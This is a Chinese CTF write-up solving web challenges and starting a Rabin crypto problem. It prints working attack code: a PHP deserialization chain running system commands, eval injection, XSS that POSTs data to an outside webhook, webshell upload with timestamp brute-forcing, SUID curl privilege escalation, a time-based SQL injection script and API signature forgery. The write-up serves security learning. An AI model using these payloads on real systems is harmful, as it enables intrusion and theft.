Web

TheBoss

考察知识点:PHP反序列化

1
CQ9jnUNAPzAfLKAmVRkiqzIIQDc7QDbtVPNtpUIvoTywVPEmLKx7QDbtVPNtMaIhL3Eco24tK193LJgyqKNbXD0XVPNtVUfAPvNtVPNtVPNtWUEbnKZgCaAurF0+LJExK3AuoUDbXGfAPvNtVPO9QDbAPa0APzAfLKAmVR1urj0XVPNtVUO1LzkcLlNxnJL7QDbtVPNtMaIhL3Eco24tK19aMKDbWT5uoJHcrj0XVPNtVPNtVPNbWUEbnKZgCzyzXFtcBj0XVPNtVU0APt0XsD0XL2kup3ZtH2IyrJRAPafAPvNtVPOjqJWfnJZtWTgho3p7QDbtVPNtpUIvoTywVPE1Bj0XVPNtVTM1ozA0nJ9hVS9sL2SfoPtxp2IfMvjxozSgMFy7QDbtVPNtVPNtVTIwnT8tWUEbnKZgCaHgCz5iqmfAPvNtVPO9QDbtVPNtMaIhL3Eco24tK19woT9hMFtcQDbtVPNtrj0XVPNtVPNtVPOwLJkfK3ImMKWsMaIhLltxqTucpl0+n25iqljxqTucpl0+qFx7QDbtVPNtsD0XQDc9QDcwoTSmplOHo21ipaWiq3fAPvNtVPOjqJWfnJZtWT5iqmfAPvNtVPOzqJ5wqTyiovOsK2ymp2I0XPEuXKfAPvNtVPNtVPNtMJAbolNbL2kiozHtWUEbnKZgCz5iqlx7QDbtVPNtsD0XVPNtVTM1ozA0nJ9hVS9snJ52o2gyXPy7QDbtVPNtVPNtVTyzVPujpzIaK21uqTAbXPViJ2RgrxRgJy0dYlVfWUEbnKZgCz5iqlxcrj0XVPNtVPNtVPNtVPNtMJAbolNvrJImrJImVwfAPvNtVPNtVPNtsD0XVPNtVU0APt0XsD0XL2kup3ZtGKqunN0Xrj0XVPNtVUO1LzkcLlNxrJImBj0XVPNtVTM1ozA0nJ9hVS9sqT9GqUWcozpbXKfAPvNtVPNtVPNtMJAbolOyoKO0rFtxqTucpl0+rJImYG5hnJjcBj0XVPNtVU0APt0XsD0XQDbAPt0X

解密后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
class LoveU
{
public $say;
function __wakeup()
{
$this->say->add_salt();
}

}
class Ma{
public $if;
function __get($name){
($this->if)();
}

}
class Seeya
{
public $know;
public $u;
function __call($self,$name){
echo $this->u->now;
}
function __clone()
{
call_user_func($this->know,$this->u);
}

}
class Tomorrow{
public $now;
function __isset($a){
echo (clone $this->now);
}
function __invoke(){
if (preg_match("/[a-zA-Z]*/",$this->now)){
echo "yesyes";
}
}

}
class Mwah
{
public $yes;
function __toString(){
echo empty($this->yes->nil);
}

}

一个php反序列化

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
class LoveU
{
public $say;
}
class Ma{
public $if;
}
class Seeya
{
public $know;
public $u;
}
class Tomorrow{
public $now;
}
class Mwah
{
public $yes;
}

$seeya = new Seeya();
$seeya->know = "system";
$seeya->u = "cat /flag";

$tomorrow1 = new Tomorrow();
$tomorrow2 = new Tomorrow();
$mwah = new Mwah();
$ma = new Ma();

$tomorrow1->now = $mwah;
$mwah->yes = $tomorrow2;
$tomorrow2->now = $seeya;

$endpoint = new Seeya();
$endpoint->u = $tomorrow1;

$loveu = new LoveU();
$loveu->say = $endpoint;

$payload = serialize($loveu);

echo "$payload\n";

多说无益,这道题确实花了我很长时间,但我很庆幸自己迈出了这一步,PHP反序列化一直是我的薄弱点,每次看到都会很打脑壳

我们照着exp理一遍思路,也方便自己复盘(在一步步构造pop链时我们可以自己添加echo语句,看看这个点是否打通)

首先,找到出口,显然这里是call_user_func,我们最后进行任意命令执行

1
2
3
$seeya = new Seeya();
$seeya->know = "system";
$seeya->u = "cat /flag";

而触发call_user_func的前提是__clone()

当类被克隆时自动会自动调用

我们在Tomorrow类中找到关键语句echo (clone $this->now);,因此这里的$this->now一定是设置成$seeya

1
$tomorrow2->now = $seeya;

而触发这个语句的前提是__isset

当对不可访问的属性调用isset()或则会empty()时候会被自动调用

于是我们找到Mwah中的echo empty($this->yes->nil);

1
$mwah->yes = $tomorrow2;

而触发这个语句的前提是__toString()

当我们尝试将一个对象转换为字符串时,这个方法会被自动调用

所以我们要找echo语句,这里是Seeya中的echo $this->u->now;,届时我们正向来看

入口类基本上就是LoveU了,因为其中的__wakeup

当执行unserialize()方法时会被自动调用

对于add_salt()这个不存在的方法,我们想到__call

当要调用的方法不存在或者权限不足时候会自动调用

此时正好对接Seeya类中__call下的echo $this->u->now;

因此可以看到我实例化了两次Tomorrow

1
2
3
4
5
6
7
8
9
10
11
$tomorrow1->now = $mwah;
$mwah->yes = $tomorrow2;
$tomorrow2->now = $seeya;

$endpoint = new Seeya();
$endpoint->u = $tomorrow1;

$loveu = new LoveU();
$loveu->say = $endpoint;

$payload = serialize($loveu);

至此,整个pop链就通了

留言板

输入单引号造成语法错误,泄露了一些代码(没关debug)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if len(msg) > 27:
return render_template('message.html', msg='留言太长了!', status='留言失败')
msg = msg.replace(' ', '')
msg = msg.replace('_', '')
retstr = set_str(type, msg)
insert_msg(username, retstr)
return render_template('message.html', msg=retstr, status='%s,留言成功' % username)


def set_str(type, str):
retstr = "%s'%s'" % (type, str)
print(retstr)
return eval(retstr)

def get_cookie():
check_format = ['class', '+', 'getitem', 'request', 'args', 'subclasses', 'builtins', '{', '}']
return choice(check_format)

if __name__ == '__main__':
app.run(host='0.0.0.0', port='5000', debug=True)

重点在于闭合retstr = "%s'%s'" % (type, str)

我们本地测试一下:

1
2
3
4
5
6
7
8
9
10
11
def set_str(type, str):
retstr = "%s'%s'" % (type, str)
print(retstr)
return eval(retstr)
# " ''+open('./flag').read()+'' "
type = "'"
msg = "+print('flag')+'"
msg = msg.replace(' ', '')
msg = msg.replace('_', '')
retstr = set_str(type, msg)
print(retstr)

payload如下:

1
msg=%2Bopen%28%27..%2Fflag%27%29.read%28%29%2B%27&type='

b1xcy如是说

考察知识点:XSS

auth_utils.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import hashlib

from flask_jwt_extended import create_access_token, decode_token
from werkzeug.security import generate_password_hash, check_password_hash


def generate_jwt(user):
return create_access_token(identity={"username": user["username"]})


def verify_password(stored_hash, provided_password):
return check_password_hash(stored_hash, provided_password)


def hash_password(password):
return generate_password_hash(password)


def get_username_from_jwt(token):
try:
return decode_token(token)
except Exception as e:
return None


def generate_mix_user(self, friend):
return hashlib.md5(
"".join(sorted(self + friend, reverse=True)).encode()
).hexdigest()

socket_events.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from flask_jwt_extended import jwt_required, get_jwt_identity
from flask_socketio import SocketIO, send, emit, join_room, leave_room, disconnect

from utils.db_utils import *
from utils.auth_utils import *

socketio = SocketIO()
room_user_list = []
user_uuid = {}


# 聊天室处理
@socketio.on("connect", namespace="/room")
@jwt_required(optional=True)
def handle_connect():
current_user = get_jwt_identity()
if current_user is None:
disconnect()
else:
room_user_list.append(current_user["username"])
emit("user_modify", {"user_list": list(set(room_user_list))}, broadcast=True)


@socketio.on("message", namespace="/room")
@jwt_required(optional=True)
def handle_message(msg):
current_user = get_jwt_identity()
if current_user is None:
disconnect()
else:
add_room_message(current_user["username"], msg)
emit("message", f"{current_user['username']}:{msg}", broadcast=True)


@socketio.on("disconnect", namespace="/room")
@jwt_required(optional=True)
def handle_disconnect():
current_user = get_jwt_identity()
if current_user is None:
disconnect()
else:
room_user_list.remove(current_user["username"])
emit("user_modify", {"user_list": list(set(room_user_list))}, broadcast=True)


# 私聊处理
@socketio.on("join", namespace="/friend")
@jwt_required(optional=True)
def handle_pri_join(msg):
current_user = get_jwt_identity()
if current_user is None:
disconnect()
else:
username = current_user["username"]
tar_fri = msg["friendName"]
try:
if (self_uuid := get_self_uuid_info(username)) and (
tar_fri_uuid := get_self_uuid_info(tar_fri)
):
user_uuid[username] = self_uuid
user_uuid[tar_fri] = tar_fri_uuid
friend_relation = generate_mix_user(username, tar_fri)
if friend_relation:
join_room(friend_relation)
emit("info", "已加入私聊")
else:
emit("disconnect")
disconnect()
except Exception as e:
emit("disconnect", e)
disconnect()


@socketio.on("message", namespace="/friend")
@jwt_required(optional=True)
def handle_message(msg):
current_user = get_jwt_identity()
if current_user is None:
disconnect()
else:
username = current_user["username"]
tar_fri = msg["friendName"]
message = msg["message"]
friend_relation = generate_mix_user(username, tar_fri)
if friend_relation:
add_pri_message(username, tar_fri, message)
send(username + ":" + message, room=friend_relation)


@socketio.on("leave", namespace="/friend")
@jwt_required(optional=True)
def handle_pri_leave(msg):
tar_fri = msg["friendName"]
current_user = get_jwt_identity()
if current_user is None:
disconnect()
else:
username = current_user["username"]
friend_relation = generate_mix_user(username, tar_fri)
send(username + "已离开", room=friend_relation)
leave_room(username)

这是一开始自己的尝试,想通过用户名和消息拼接的方式构造XSS
image-20241122145902601
由于复制下来是经过html实体编码转换后的,所以当时尝试实体编码绕过,但未果。最后看了wp是在私聊处的聊天界面的用户名存在xss漏洞

image-20241202214852679

image-20241202214906763

而我们看看其他地方

image-20241202220248888

1
<li>&lt;h1&gt;test&lt;/h1&gt;</li>

而私聊的聊天界面将代码复制下来

1
<h1>test</h1>

没有被实体编码,看来这道题的关键点在这里,唉,还是经验欠缺

image-20241202221017400

对于<script>类型的xss能注入进去,但是无响应,onerror类型的成功弹窗

常见的xss题目是整一个机器人来访问,并窃取它的cookie(flag),但这道题提示flag不在cookie里面,我们只能另寻思路

image-20241202223051687

我们随便输入消息,admin大概意思是我们不是正确的用户,因此应该是存在未知的好友名,但我们并不知道

再往下看可以看到一段js逻辑代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<script>
let socket = null;

function startChat(friendName) {
if (socket) {
socket.emit('leave', {friendName: friendName});
socket.disconnect();
}
socket = io('/friend');
socket.on('connect', () => {
socket.emit('join', {friendName: friendName});
});
socket.on('message', (msg) => {
let chatBox = document.getElementById('chat-box');
let newMessage = document.createElement('div');
newMessage.textContent = msg;
chatBox.appendChild(newMessage);
});
}

window.onload = function () {
loadFriends();
};

function sendPrivateMessage(friendName) {
let messageInput = document.getElementById('message').value;
if (friendName && messageInput) {
socket.emit('message', {
'friendName': friendName,
'message': messageInput
});
document.getElementById('message').value = '';
} else {
document.getElementById('message').value = '';
alert('选择一个好友并输入消息');
}
}
</script>

可以看到开头部分WebSocket连接管理对应着socket_events.py的私聊部分,前端发送的各种事件(join、message、leave)都对应后端的相应处理函数

这里存在一个loadFriends();的函数,但是放在控制台中运行,返回Promise {<pending>},这表示loadFriends()是一个异步函数

Promise有三种状态:

pending(待定): 初始状态,既没有完成也没有失败

fulfilled(已完成): 操作成功完成

rejected(已拒绝): 操作失败

Promise {<pending>} 的显示是完全正常的,表示异步操作正在进行中。如果想看到实际的结果,需要使用 .then()await 来等待Promise完成

那么我们回归主题,admin怎么才会识别我们是他所说的那个正确的人?

我们回到代码当中,在私聊中与这么一串代码

1
send(username + ":" + message, room=friend_relation)

对于room=friend_relation,我们转到

1
friend_relation = generate_mix_user(username, tar_fri)
1
2
3
4
def generate_mix_user(self, friend):
return hashlib.md5(
"".join(sorted(self + friend, reverse=True)).encode()
).hexdigest()

因此,整个逻辑是:
将当前用户名和好友名拼接在一起,然后按ASCII码从小到大排序,使用MD5加密生成固定长度的哈希值,确保无论是A和B聊天,还是B和A聊天,生成的房间ID都是一样的(只要是这几个字符的任意组合都行,因为最后经过sorted函数处理后的字符串都是一样的);

friend_relation则存储这个标识,send函数确保只有room=friend_relation中的人能收到消息

好现在搞明白了逻辑,那就差那个admin的好友,如何获取呢?我们刚刚提到了loadFriends()函数,这是加载本地的好友,我们需要让admin去触发这个函数,因为我们发消息admin是会回复我们的,我们只需要登录下面这个账户(payload)让admin发送消息(你是?不不不你不是)即可

1
<img src=x onerror="loadFriends().then(data => data.friends.forEach(friend => fetch('https://webhook', {method: 'POST', header: {'Content-Type': 'application/x-www-form-urlencoded'}, body: friend})))">

image-20241203222700321

1
2
3
self = "admdn"
friend = "b1xcy_s41i_7h47"
print("".join(sorted(self + friend, reverse=True)).encode())

yxsnmihddcba__774411

创建两个账户等待admin发送消息即可

image-20241203222915971

简简单单upload

考察知识点:文件上传,SUID提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function showFileName() {
const fileInput = document.getElementById('fileInput');
const fileName = document.getElementById('fileName');
const uploadBtn = document.getElementById('uploadBtn');

if (fileInput.files.length > 0) {
fileName.textContent = fileInput.files[0].name;
uploadBtn.disabled = false;
} else {
fileName.textContent = '未选择文件';
uploadBtn.disabled = true;
}
}

function uploadFile() {
const statusMsg = document.getElementById('statusMsg');
statusMsg.textContent = "上传中...";

// 模拟上传过程,真实环境中需要处理文件上传逻辑
setTimeout(() => {
statusMsg.textContent = "上传成功!";
}, 2000);
}

也就是说这只是模拟了上传过程,实际上并没有真的上传

不过后来发现,只是出题人化简了步骤,在下面的提示中其实是上传了的

1
2
3
4
$originalFileName = basename($file['name']);
$timestamp = time();
$newFileName = $timestamp . '_' . $originalFileName;
$targetFilePath = $uploadDir . $newFileName;

可以看到将原文件名中前面添加了时间戳和一个下划线,这里也是可惜,当时就是这么猜测出题人的预期解的,但是自己细节上的一些问题,最后偏离了方向/(ㄒoㄒ)/~~

PHP环境,我们注入PHP一句话木马

不过这里可能存在误差,我们写一个脚本取前后10秒

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import requests
import time
from urllib.parse import urlparse, urlunparse

def try_timestamps(base_url, base_timestamp, offset=10):
parsed_url = urlparse(base_url)
path_parts = parsed_url.path.split('/')

for timestamp in range(base_timestamp - offset, base_timestamp + offset + 1):
filename = f"{timestamp}_m.php"
path_parts[-1] = filename
new_path = '/'.join(path_parts)

new_url = urlunparse(parsed_url._replace(path=new_path))

try:
response = requests.get(new_url)
print(f"尝试URL: {new_url} - 状态码: {response.status_code}")

if response.status_code == 200:
print(f"\n找到有效URL: {new_url}")
return new_url

except requests.RequestException as e:
print(f"请求失败: {new_url} - 错误: {e}")

time.sleep(0.1)

return None

def main():
base_url = "http://127.0.0.1:60912/uploads/1733134260_m.php"
base_timestamp = 1733134260

result = try_timestamps(base_url, base_timestamp)
if not result:
print("\n未找到有效URL")

if __name__ == "__main__":
main()

image-20241202181248033

这里我们成功连接蚁剑,并在根目录下找到了flag文件,但是打开后一篇空白

之前的一次暑假出题任务中,我出过类似的题目,当时是flag设置的root权限用户可读写,此时作为普通用户打开是一片空白的,因此这里我们先看看自己的身份是什么

image-20241202181533116

不过后续发现执行任何命令都是这个输出,后上网发现,disable_functions是php.ini中的一个设置选项,可以用来设置PHP环境禁止使用某些函数,我们上传一个phpinfo()看看

image-20241202182302884

好家伙,这也忒多了,我们用插件Medicean/as_bypass_php_disable_functions: antsword bypass PHP disable_functions绕过

image-20241202183111933

image-20241202183156147

没错,只有root用户拥有读取权限,当时我考察的点是suid提权,这里同样的

我们先寻找哪些文件(命令)具有suid权限

1
find / -perm -u=s -type f 2>/dev/null

image-20241202183715862

很好curl,我们去GTFOBins上面找提权命令

image-20241202183803960

可以看到curl是存在suid提权的

image-20241202183910928

使用file协议读取本地文件

1
curl file:///path/to/flag

image-20241202184117415

肚子饿了

考察知识点:order by SQL注入

看到get传参,猜测sql注入,看到以下回显,大概就是了

image-20241117140858926

很好,我们做一个简单的fuzz测试,看看过滤了哪些

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
(对大小写不敏感)
and
or(检测前后的空格)
)OR(
union
^
&
regexp
|
updatexml
extractvalue
insert
delete
sleep
floor
(若desc或asc后面有逗号或;)
(,在参数最前面)
union select
rand
exp

desc提示order by注入,同时发现输入为空时,也能回显,所以猜测后端语句为

1
SELECT * FROM table_name ORDER BY column_name $type

其实到了这里熬了很久,一直没搞明白,后面自己在本地的mysql不断的尝试才弄出来了,试过order by和limit

最终确定是order by的注入

(这里试了很久,但自己也总结了经验,就是在推测出后端sql语句后,自己在本地去尝试,这样出的会更快,当然数据库的类型版本具体情况具体看)

1
payload = "-1,if(ascii(substr((seLect(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{0},1))>{1},benchmark(500000,md5('ydyd')),price)".format(i, mid)

一共两张表food和secret

然后flag是字段,最后是个fake flag和真flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import time

url = "http://127.0.0.1:56384/index.php"
result = ""

for i in range(1, 1000):
min_value = 32
max_value = 126

while min_value < max_value:
mid = (min_value + max_value) // 2
payload = "-1,if(ascii(substr((seLect(group_concat(flag))from(ctf.secret)),{0},1))>{1},benchmark(500000,md5('ydyd')),price)".format(i, mid)

full_url = f"{url}?type={payload}"
start_time = time.time()
response = requests.get(full_url)
elapsed_time = time.time() - start_time

if elapsed_time > 0.5:
min_value = mid + 1
else:
max_value = mid

if min_value == max_value and 32 <= min_value <= 126:
result += chr(min_value)

print("final:", result)

image-20241122012410595

预期解:

ORDER BY column in(a , b)的布尔盲注

这个语句会把column字段的值为in里面对应值的元素作为排除项排除在降序排序外单独降序排序

1
?type=in(if(ascii(substr(database(),1,1)>1),32,28))

EZVUE

一道JS题目

image-20241202174050951

当时做的时候确实想过是加密算法可能存在js代码中,但是后面自己想复杂了,还去搜VUE相关漏洞。。。

在源代码最后部分找到与AES相关的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
(function(e, t) {
(function(r, n, s) {
e.exports = n(s0(), dt(), nf(), sf(), Be(), of(), Ce(), li(), Nr(), xf(), ui(), ff(), af(), cf(), jr(), lf(), ce(), g0(), uf(), df(), hf(), pf(), vf(), Bf(), Cf(), Ef(), gf(), _f(), Af(), Ff(), Df(), bf(), yf(), mf(), wf())
}
)(n0, function(r) {
return r
})
}
)(ci);
var Sf = ci.exports;
const Re = Yx(Sf)
, Hf = {
class: "card"
}
, Rf = Os({
__name: "HelloWorld",
props: {
msg: {}
},
setup(e) {
const t = Re.enc.Utf8.parse("1145140000000000")
, r = Re.enc.Utf8.parse("1919810000000000");
window.WHAT = "RxPTuF+QBje7qMuvLyOclw3IM69A41A+39bNZ8u65JpuKyjkWNDZk5oPkX+f8hjs";
const n = no(0);
function s(i) {
return Re.AES.encrypt(i, t, {
iv: r,
mode: Re.mode.CBC,
padding: Re.pad.Pkcs7
}).toString()
}
return (i, a) => (ni(),
si(z0, null, [j0("h1", null, fr(i.msg), 1), j0("div", Hf, [j0("button", {
type: "button",
onClick: a[0] || (a[0] = f => n.value = s(Math.random().toString()))
}, "count is " + fr(n.value), 1)])], 64))
}
})
, di = (e, t) => {
const r = e.__vccOpts || e;
for (const [n,s] of t)
r[n] = s;
return r
}
, Pf = di(Rf, [["__scopeId", "data-v-6eefbd0d"]])
, kf = Os({
__name: "App",
setup(e) {
return (t, r) => (ni(),
si(z0, null, [r[0] || (r[0] = j0("div", null, [j0("a", {
href: "https://vite.dev",
target: "_blank"
}, [j0("img", {
src: Xx,
class: "logo",
alt: "Vite logo"
})]), j0("a", {
href: "https://vuejs.org/",
target: "_blank"
}, [j0("img", {
src: Zx,
class: "logo vue",
alt: "Vue logo"
})])], -1)), ie(Pf, {
msg: "Vite + Vue + ???"
})], 64))
}
})
, Tf = di(kf, [["__scopeId", "data-v-13f9eabc"]]);
Kx(Tf).mount("#app");

写对应的解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const CryptoJS = require('crypto-js');

const key = CryptoJS.enc.Utf8.parse("1145140000000000");
const iv = CryptoJS.enc.Utf8.parse("1919810000000000");

const ciphertext = "RxPTuF+QBje7qMuvLyOclw3IM69A41A+39bNZ8u65JpuKyjkWNDZk5oPkX+f8hjs";

// 解密函数
function decrypt(ciphertext) {
try {
const bytes = CryptoJS.AES.decrypt(ciphertext, key, {
iv: iv,
mode: CryptoJS.mode.CBC,
padding: CryptoJS.pad.Pkcs7
});
return bytes.toString(CryptoJS.enc.Utf8);
} catch (error) {
console.error('解密失败:', error);
return null;
}
}

const decrypted = decrypt(ciphertext);
console.log("解密结果:", decrypted);

星のflag: 卡比篇

小程序渗透,当时解包后一直去干星のflag: 瓦豆鲁德篇的flag了,当然花了时间也没干出来。。。

image-20241204180013858

兑换奖品

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /redeemPrize HTTP/2
Host: hosinoflag.yyz9.cn
Content-Length: 136
Xweb_xhr: 1
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzMzOTI1ODksIm9wZW5pZCI6Im9GblNQN2NDcTZ3ck93NjI1YWhhWmFqdWNGcnciLCJ1c2VybmFtZSI6IjIwMjMyMTI5NzEifQ.jIjqQ8hvGuI07agnkfvESX0rta9XTcI73G0Pgh4n_rY
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090c11)XWEB/11275
Content-Type: application/json
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://servicewechat.com/wxc822b4d5d0a7e6a3/2/page-frame.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9

{
"nonceStr":"a7kdaw2MnA7AaEcfkNtbHrbZ5nTtjSzh",
"quantity":1,
"time":1733306341557,
"type":"air",
"sign":"cd03ca93eba4907360e7e48e9fbac7ba"
}

我们看看响应

1
2
3
4
5
6
7
HTTP/2 401 Unauthorized
Server: nginx/1.27.0
Date: Wed, 04 Dec 2024 09:59:13 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 34

{"error":"Timestamp out of range"}

时间戳超出了范围,显然我们并不是当时的请求过后再来请求会被服务端那边检测到

通过代码审计,我们看到重要的签名参数部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
// 签名相关工具函数
const signUtils = {
// 生成随机字符串
generateRandomString(length) {
const characters = "ABCDEFGHJKMNPQRSTWXYZabcdefhijkmnprstwxyz2345678";
let result = '';
for (let i = 0; i < length; i++) {
result += characters.charAt(Math.floor(Math.random() * characters.length));
}
return result;
},

// 获取时间戳
getTimestamp() {
return Date.now();
},

// 对象属性排序
sortObjectKeys(obj) {
const sortedKeys = Object.keys(obj).sort();
const sortedObj = {};

for (const key of sortedKeys) {
const value = obj[key];
// 判断是否为嵌套对象,如果是,递归调用排序函数
if (value !== null && typeof value === 'object' && !Array.isArray(value)) {
sortedObj[key] = this.sortObjectKeys(value);
} else {
sortedObj[key] = value;
}
}
return sortedObj;
},

// 生成签名
generateSignature(obj, authString) {
const stringToSign = "uEN1csMtt2Wmc0u6rHaGDvNHUHL9Wqds" +
JSON.stringify(obj).replace(/\s+/g, '') +
authString;
return this.md5(stringToSign);
},

// MD5加密
md5(input) {
return CryptoJS.MD5(input).toString();
},

// 生成完整的签名参数
generateSignParams(data, authString) {
// 初始化请求参数
const params = {
nonceStr: this.generateRandomString(32),
time: this.getTimestamp(),
...data
};

// 排序参数并生成签名
const sortedParams = this.sortObjectKeys(params);
const signature = this.generateSignature(sortedParams, authString);

// 将签名添加到参数中
return {
...sortedParams,
sign: signature
};
}
};

其中从我们的抓包数据来看

签名参数

1
2
3
4
5
{
nonceStr: generateRandomString(32), // 32位随机字符串
time: getTimestamp(), // 时间戳
sign: signature // MD5签名
}

签名生成过程

1
2
3
stringToSign = "uEN1csMtt2Wmc0u6rHaGDvNHUHL9Wqds" + // 固定密钥
JSON.stringify(sortedParams) + // 排序后的参数
authString // JWT token

认证信息

1
2
3
4
headers: {
'Authorization': wx.getStorageSync('Authorization') // JWT token
'Content-Type': 'application/json'
}

业务参数

1
2
3
4
{
type: "air", // 奖品类型
quantity: 1 // 数量
}

因为这些签名算法完全暴露在前端,固定密钥uEN1csMtt2Wmc0u6rHaGDvNHUHL9Wqds也在前端代码中,只要有有效的JWT token,就可以构造合法请求,我们再修改购买数量为0或者负数就可绕过(根据rea1ity师傅的说法是猜测后端的运算结果是由数量决定,但是没有对数量做出限制或者错误处理,也就是说我们的数量0经过后端计算只需要0积分,那自然会返回给我们flag,并显示购买成功)

签名脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
const CryptoJS = require('crypto-js');

class SignGenerator {
constructor(authToken) {
this.SECRET_KEY = "uEN1csMtt2Wmc0u6rHaGDvNHUHL9Wqds";
this.AUTH_TOKEN = authToken;
this.CHARS = "ABCDEFGHJKMNPQRSTWXYZabcdefhijkmnprstwxyz2345678";
}

// 生成随机字符串
generateRandomString(length = 32) {
let result = '';
for (let i = 0; i < length; i++) {
result += this.CHARS.charAt(Math.floor(Math.random() * this.CHARS.length));
}
return result;
}

// 获取时间戳
getTimestamp() {
return Date.now();
}

// 对象属性排序
sortObjectKeys(obj) {
const sortedKeys = Object.keys(obj).sort();
const sortedObj = {};

for (const key of sortedKeys) {
const value = obj[key];
if (value !== null && typeof value === 'object' && !Array.isArray(value)) {
sortedObj[key] = this.sortObjectKeys(value);
} else {
sortedObj[key] = value;
}
}
return sortedObj;
}

// 生成签名
generateSignature(params) {
const sortedParams = this.sortObjectKeys(params);
const stringToSign = this.SECRET_KEY +
JSON.stringify(sortedParams).replace(/\s+/g, '') +
this.AUTH_TOKEN;
return CryptoJS.MD5(stringToSign).toString();
}

// 生成完整请求参数
generateRequestParams(type, quantity) {
const params = {
nonceStr: this.generateRandomString(),
quantity: quantity,
time: this.getTimestamp(),
type: type
};

const sign = this.generateSignature(params);
return {
...params,
sign
};
}
}

const AUTH_TOKEN = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzMzOTI1ODksIm9wZW5pZCI6Im9GblNQN2NDcTZ3ck93NjI1YWhhWmFqdWNGcnciLCJ1c2VybmFtZSI6IjIwMjMyMTI5NzEifQ.jIjqQ8hvGuI07agnkfvESX0rta9XTcI73G0Pgh4n_rY"; // 替换为你的实际token
const generator = new SignGenerator(AUTH_TOKEN);
const signedParams = generator.generateRequestParams("kirbysFlag", -1);

console.log(JSON.stringify(signedParams, null, 2));

image-20241204182600416

image-20241204182619513

这也是我第一次遇到小程序的题目,非常感谢yyz皇帝的题目来源,自己粗略的总结一下:永远不要相信前端代码的安全性

这个API安全机制包含了:

1
2
3
4
时间戳防重放
随机字符串防重复
参数签名防篡改
JWT token身份认证

但由于所有安全逻辑都在客户端实现,密钥直接硬编码在前端,完整的签名算法对攻击者可见,同时我们可以完全模拟客户端行为。所以关键的安全逻辑应该在服务器端实现。

Crypto

Rabin Attack

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from Crypto.Util.number import *
flag = 'Redrock{xxxxxxx}'

p = getPrime ( 512 )
q = getPrime ( 512 )
assert p > q
n = p * q
e = 65536
m = bytes_to_long ( flag )
gift1 = ( pow ( p , e , n ) - pow ( q , e , n ) ) % n
gift2 = pow ( p - q , e , n )
c = pow ( m , e , n )

print ( "gift1 =" , gift1 )
print ( "gift2 =" , gift2 )
print ( "n =" , n )
print ( "c =" , c )

'''
gift1 = 70612587795954392344132094730351403649829676891412980698720685677055233282945575188159753021039985877805925869036057939045603303707270735727465451481971229728857153219079805448545657237685935186892394077541589344177111006154640246714109802383872633756501917196067963687580349800926510289567359034040522209674
gift2 = 38463381889242878775851103219249929683898590502230614245284391193150679494898377733308518328326511354270705104866890313641160185926106305648319145903270699447472461263879678137700679430923772268112218545961984599486945138619458459998972955898816150905926656597823930838334680086640877216128845700128691465588
n = 93566489118308776213548693331730790051986994076752268755785265897482150175977191873408574414830058267133131613604483143078795628416063654383346104078580911952745697991375522526922908516196249414857302497260198309866671553599009574215710156854318056264828988885111028008676481908027550985766902115890583474937
c = 75747531080369602384428056951120987878900186477845434909504204471844047514139676853422617338712469202949435192552055475351523114283415371682553171988771857834140270923322175073118710434744943142539112104330240766284072851443916329309536962182662035765061720542151824288467075008996934135910736793674898991433
'''

如题,考察Rabin Attack

1
2
3
4
5
6
7
8
9
10
from sympy import invert, gcd

